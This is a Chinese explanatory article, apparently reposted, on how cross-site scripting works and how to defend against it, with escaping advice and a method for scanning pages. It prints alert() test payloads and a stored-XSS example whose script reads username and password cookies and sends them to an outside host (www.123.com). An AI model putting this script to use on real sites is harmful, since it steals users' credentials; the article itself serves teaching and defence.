跨网站脚本攻击(XSS)的原理与防范对策

news/2024/5/15 17:07:32/文章来源:https://blog.csdn.net/bytxl/article/details/41041271

摘要:随着计算机网络技术的迅速发展,网络安全问题已变得越来越受到人们的重视,网络攻击形式多种多样,很多蠕虫病毒、木马病毒等植入到某些网页中,给网络用户带来了很大的安全隐患。其中XSS跨网站脚本攻击,恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。本文主要阐述了XSS的机理和特点,重点分析了网页代码的检测以及木马的特征,并针对这些特点进行了一些相应防范对策的探讨。

关键词:网页木马; XSS; 攻击; 防范

一、前言

网页木马是一种新型的恶意代码,一些攻击者将它人为的植入到服务器端的HTML页面中,通过客户端对服务器的访问来传播恶意攻击代码,它主要是通过浏览器以及其中的一些插件漏洞来进行植入,网页木马是一种客户端的攻击方式,它能有效的绕过防火墙的检测,隐秘的在客户端将恶意代码植入,客户端在不知情的情况下将这些恶意可执行程序进行下载和执行。给互联网用户造成严重的安全威胁。

在Web 2.0出现以后,XSS的危害性达到了十分严重的地步。跨站脚本英文名称是(Cross Site Script),为了与层叠样式表(Cascading StyleSheets简称CSS)区分,故命名为XSS。 XSS攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面时,嵌入其中的脚本将被解释执行。XSS具有自身的独有特点,目前国内外很多研究人员围绕XSS的防御进行了深入的探讨与研究,同时攻击者也在采用一些更先进的手段来提高木马的攻击隐蔽性,用以提高木马的攻击成功率,因此,XSS的机理与防范对策研究已成为了当前计算机工作者的一个重要课题。

二、XSS的机理与特征

1.XSS的成因

跨网站脚本XSS漏洞的成因其实就是Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码,数据流程如下:攻击者的Html输入—>web程序—>进入数据库—>web程序—>用户浏览器。目前,所有的网站上几乎都提供一个站内或站外信息搜索框。在此搜索框中,您可以搜索到网站上任何可用的东西。这个搜索表单看起来这样:


图1-1

图1-2

 

内部代码:<form action=“search.asp” method=“get”>

              <input type=“text” name=“q” value=” ”/>

               <input type=“submit”value=“搜索” />

              </form>

在asp网页上显示的搜索结果,同时它也列出了在“关键字”的搜索结果。web页面上,不管用户搜索什么内容,它将显示搜索结果在网页上。现在如果一个攻击者尝试注入恶意脚本,比如在搜索框中输入如下Html代码:“<script>alert(‘XSS 跨站脚本攻击’)</script>”则代码会变成<inputtype="text" name="q" value="" <script>alert(‘XSS 跨站脚本攻击’)</script>  />,嵌入的JavaScript代码将会被浏览器执行,将显示一个警告框,提示“XSS跨站脚本攻击”。而不能完成用户搜索功能。(上述两个网站已经做XSS过滤,不能看见警告框)

下面是一个关于用户注册页面的例子,当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多网站都提供用户注册功能,网站后台数据库存储用户名、密码,方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有XSS漏洞,那么简单的就可以获取其它用户的用户名、密码了。


图2-1

如图2-1所示的用户注册页面。允许用户填入注册信息,然后存储到后台数据库中。因为我们完全信任了用户输入,用户注册信息都能正确的进入数据库。但有些恶意的用户会利用这个漏洞输入HTML和JS代码,例如<scripttype=”text/javascript”  src=”http://www.123.com/h.js”></script>这段代码直接输入到“用户名”栏中,窃取用户信息。

在http://www.123.com/h.js中:

varusername=CookieHelper.getCookie('username').value;

varpassword=CookieHelper.getCookie('password').value;

varscript =document.createElement('script');

script.src='http://www.123.com/index.asp?username='+username+'&password='+password;

document.body.appendChild(script);

这样就轻松的获取了cookie中的用户名和密码。

2.跨网站脚本攻击的类型

2.1非持久性跨网站脚本攻击,非持久性 XSS 也称为是反射跨网站漏洞。它是最常见的 XSS 类型。在这,注入数据反射给攻击者。上面的例1,是非持续的攻击。典型的非持久性 XSS 包含与 XSS 的链接。

    2.2持久性跨网站脚本攻击(存储性),持久性跨网站脚本是存储跨站点脚本。当它发生时 XSS 变量存储在网站的数据库,每当用户打开网页时执行。每次用户打开浏览器,脚本执行。持久性 XSS 比非持久性 XSS更有害,因为每当用户打开要查看的内容的网页时,将自动执行该脚本。上面例2就是持久性跨网站脚本攻击。

   2.3基于DOM的跨站脚本攻击,基于 DOM 的 XSS 有时也称为“type-0XSS”。它发生时, XSS 变量执行由 DOM 修改用户的浏览器网页的结果。在客户端的 HTTP 响应不会更改,但以恶意的方式执行的脚本。

三、XSS防范对策

XSS攻击的模式很简单,就是把自己的代码嵌入到页面里,随页面一块执行;XSS攻击的防范也一样简单,对于网站的开发者,首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括HTML、URL、查询关键字、http头、post、get数据等。只接受在你所规定长度范围内、采用适当格式、你所希望的字符。阻塞、过滤或者忽略其它的任何东西。针对出现在不同位置的用户输入内容,其处理策略有所不同。

1、html

只需要处理掉< > 即可,只要没有html标签,页面就是安全的。可以使用asp内置方法Replace (str,“<”,“<”)  Replace (str,“>”,“>”) 来处理待输出的内容,将<,>, 转义。

2、JS

将要输出到js代码片断中的用户输入内容没有好的办法进行处理;仅转义少数字符不能保证去掉所有的攻击可能。因此,一般建议不要把用户产生的内容直接输出到js片断中。

如果条件所限,必须将内容直接输出,有如下方法可供选择:

1) 如果待输出的内容有特定的取值返回或者特定的格式,可以使用白名单或者正则表达式进行处理。

2) 可以将内容输出到html的隐藏标签或隐藏表单中,js通过获取标签的内容得到该内容。

3、检查

那么,对已有的页面,该如何检查呢?这个问题的回答是,目前没有很好的办法能完全检查出服务器中可能存在XSS攻击的页面;有一些办法可以检查出比较明显的疏漏,其基本思路如下:

1)从apache的access_log中取出所有unique的请求,依次修改其某一个参数为 “<script>alert(‘xss')</script>”,发起请求。

2)获取返回的内容,如果内容中有原样的该字符串,表明此可疑输入没有经过处理便输出到页面上,页面存在隐患,需要处理。

通过这种办法,可以检查出绝大多数能通过get请求发起的XSS攻击。那些在access_log没有出现的请求参数,这里没有检查到,可能有所遗漏,就需要手动去整理,测试。通过Post发起的请求需要用另外一种策略进行检查。其思路如下:将网站上所有可以输入的表单,依次输入特征字符串,比如说< ' ” >,如果提交后产生的页面中含有未处理的此字符串,说明存在隐患。

通过以上分析我们看到,XSS是一种危害较大、较难防范,并且更加隐蔽的攻击方式。其实只要明白其原理,再加上勤加思考防范的对策,就可以根治XSS漏洞。

 

参考文献:

1. 《网页木马攻防实战》电子工业出版社,任飞,章炜,张爱华编著/ 2009-05

2. 针对基于编码的跨站脚本攻击分析及防范方法,张伟,吴灏 小型微型计算机系统、/ 2013年。

3. 网页木马机理与防御技术 张慧琳,邹维,韩心慧  软件学报 / 2013年4.

http://wenku.baidu.com/view/d66b6c554431b90d6c85c7b3.html


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_734984.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

介绍MyBatis代码生成网站(三) --- [ Java实体 ] 实际生成效果

为什么80%的码农都做不了架构师&#xff1f;>>> 实际生成的Java实体 , 注意: 最下方的 [ Copy专用区 ] ,很实用的 , 每个字段的Html标签也在该区域. package com.icsm.paybank.entity;import java.io.Serializable; import java.util.*; import java.text.SimpleDa…

SEO月入破万的难点是什么?说说9.10月份月入破万的经历

很多人问了一个让笔者非常尴尬的问题&#xff0c;目前收入多少?笔者只能笑答曰&#xff1a;勉强够糊口。SEO能不能月入破万&#xff0c;关于这些问题真的很难回答&#xff0c;做SEO破万的大神有很多&#xff0c;因此做SEO是有月入破万的可能&#xff0c;可以是在企业上班的网络…

黄聪:如何添加360浏览器(chrome)添加JavaScript例外,禁止网站加载JS

注意&#xff1a;通配符两侧的[]不能省略转载于:https://www.cnblogs.com/huangcong/p/4903422.html

速都app推广:移动网页seo优化和APP发布与aso优化试水

本周主要是熟悉APP发布平台和发布与整理一些日常生活百科资料...实不相瞒&#xff0c;本周我百分之70的时间用于APP平台推广以及各大搜索引擎对APP的域名抓取... 一、先总结下搜索引擎优化APP现状&#xff0c;一句话&#xff0c;很茫然..我看了乡音秀推广模式&#xff1a;他们百…

ShopNC本地生活o2o网站的源代码,没有域名限制

较前某VIP源代码论坛分享了套ShopNC本地生活o2o站点系统。下载过来却发现根本不能用&#xff0c;所以一直没分享出来。今天咱们这边分享的这套ShopNC本地生活o2o站点源代码&#xff0c;无不论什么的限制&#xff0c;直接install就能够了。很easy方便。 ----------------------…

大型网站技术学习-2. 云计算之OpenStack简述

上一章讲&#xff0c;虚拟化能够充分的利用资源&#xff0c;带来各种各样的好处。 当一个网站不大&#xff0c;只需要四五台机器就可以支撑的时候&#xff0c;可以采用手工的方式虚拟机&#xff0c;但是当网站流量很高&#xff0c;需要成千上万台机器的时候&#xff0c;那就非常…

使用webpasser抓取某笑话网站整站内容

使用webpasser框架抓取某一笑话网站整站内容。webpasser是一款可配置的爬虫框架&#xff0c;内置页面解析引擎&#xff0c;可快速配置出一个爬虫任务。配置方式将页面解析和数据存储分离&#xff0c;如果目标网站改版&#xff0c;也可以快速修复。 配置说明如下&#xff08;该例…

大型分布式网站架构设计与实践——集群监控

一、监控指标 成熟稳健的系统往往需要对集群运行时的各个指标进行收集&#xff0c;如系统的load、CPU的利用率、I/O繁忙程度、网络traffic、内存利用率、应用心跳等。 1、load系统的load被定义为特定时间间隔内运行队列中的平均线程数&#xff0c;每一个CPU的核都维护了一个运行…

用户访问网站的完整流程

用户访问网站的完整流程在浏览器输入想要访问的域名之后&#xff0c;浏览器会进行域名解析获得IP地址&#xff0c;在经过TCP的连接&#xff0c;实现数据的传输就会有两种报文&#xff0c;及请求报文和响应报文。最终才能实现通信。因此想要实现通信&#xff0c;就得先弄懂DNS的…

使用Python Django在Ubuntu下搭建数据库型网站

最近想做一个数据库网站&#xff0c;我对Python很熟悉&#xff0c;也了解到Django很好用&#xff0c;于是说搞就搞。 首先&#xff0c;在快云上买了一个vps&#xff0c;一元试用一个月&#xff0c;Ubuntu系统。 1.安装Django apt-get update apt-get install python-pip python…

大流量网站性能优化:一步一步打造一个适合自己的BigRender插件

BigRender 当一个网站越来越庞大&#xff0c;加载速度越来越慢的时候&#xff0c;开发者们不得不对其进行优化&#xff0c;谁愿意访问一个需要等待 10 秒&#xff0c;20 秒才能出现的网页呢&#xff1f; 常见的也是相对简单易行的一个优化方案是 图片的延迟加载。一个庞大的页面…

快信达SEO记录2016.07.16

为什么80%的码农都做不了架构师&#xff1f;>>> 2016-7-16 快信达网站改版完成&#xff0c;将顶级域名301转向到www二级域名&#xff0c;友情链接0个&#xff0c;外链1个欣联盛。 seo策略规划&#xff1a; 改版后先不换友链&#xff0c;持续更新文章&#xff0c;看…

移动端页面SEO优化需要注意的10个要点

如今&#xff0c;移动互联网已经成为互联网组成的非常重要的一个分支&#xff0c;如果说以前对移动页面没有很规范的优化和高质量内容评判划分标准&#xff0c;但现在随着各大搜索引擎发布了移动建站指南&#xff0c;图文并茂的描述了如何提高移动站在百度质量度的等级&#xf…

大型网站技术架构(3):WEB 前端性能优化

为什么80%的码农都做不了架构师&#xff1f;>>> 上次说到了性能优化策略&#xff0c;根据网站的分层架构&#xff0c;可以大致的分为 web 前端性能优化&#xff0c;应用服务器性能优化&#xff0c;存储服务器性能优化三大类 这次来说一下 web 前端性能优化&#xf…

借助GitHub pages搭建静态个人网站并绑定域名

借助GitHub pages搭建静态个人网站并绑定域名 借助GitHub pages搭建静态个人网站并绑定域名一、简介二、准备1.注册GitHub账号2.安装好Git3.购买域名&#xff08;非必选&#xff09; 三、创建、设置GitHub pages并绑定域名1.创建仓库2.设置仓库3.进行网站开发4.域名绑定&#x…

java获取https网站证书,附带调用https:webservice接口

一、java 获取https网站证书&#xff1a; 1、创建一个java工程&#xff0c;新建InstallCert类&#xff0c;将以下代码复制进去 package com; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import j…

Gif 网站图

转载于:https://www.cnblogs.com/wwknan/p/10517552.html

PHP绿色集成环境在云服务器上的应用,PHPWAMP在服务器上搭建网站案例

问&#xff1a;什么叫WAMP&#xff1f;答&#xff1a;Windows下的ApacheMysqlPHP&#xff0c;称之为WAMP。 本文案例采用的PHP集成环境是我自己开发的纯绿色版WAMP软件&#xff08;PHPWAMP&#xff09;。 我在这款集成环境里集成的组件都是完全版的&#xff0c;适合本地调试&am…

网站使用微信扫码登录流程

微信扫码登录是一个标准的oauth 2.0的过程。 1.用户请求访问网站&#xff0c;选择微信登录。 2.redirect到微信二维码页面 3.获取微信登录二维码&#xff0c;请求参数包括本网站的appId和登录成功后跳转回的地址&#xff0c;即relaystate. 4.返回二维码网页。 5.二维码扫入手机…

大型网站提速方案(第一篇)

随着互联网的迅速发展&#xff0c;大访问量大数据库带来的访问慢逐渐成为网站发展的瓶颈&#xff0c;从动态网站的访问过程我们可以发现&#xff0c;网站提速的需要将动态网站的访问过程中的关键技术给与提速。于是就引申出了缓存技术和页面静态话技术和数据库的优化技术。 页面…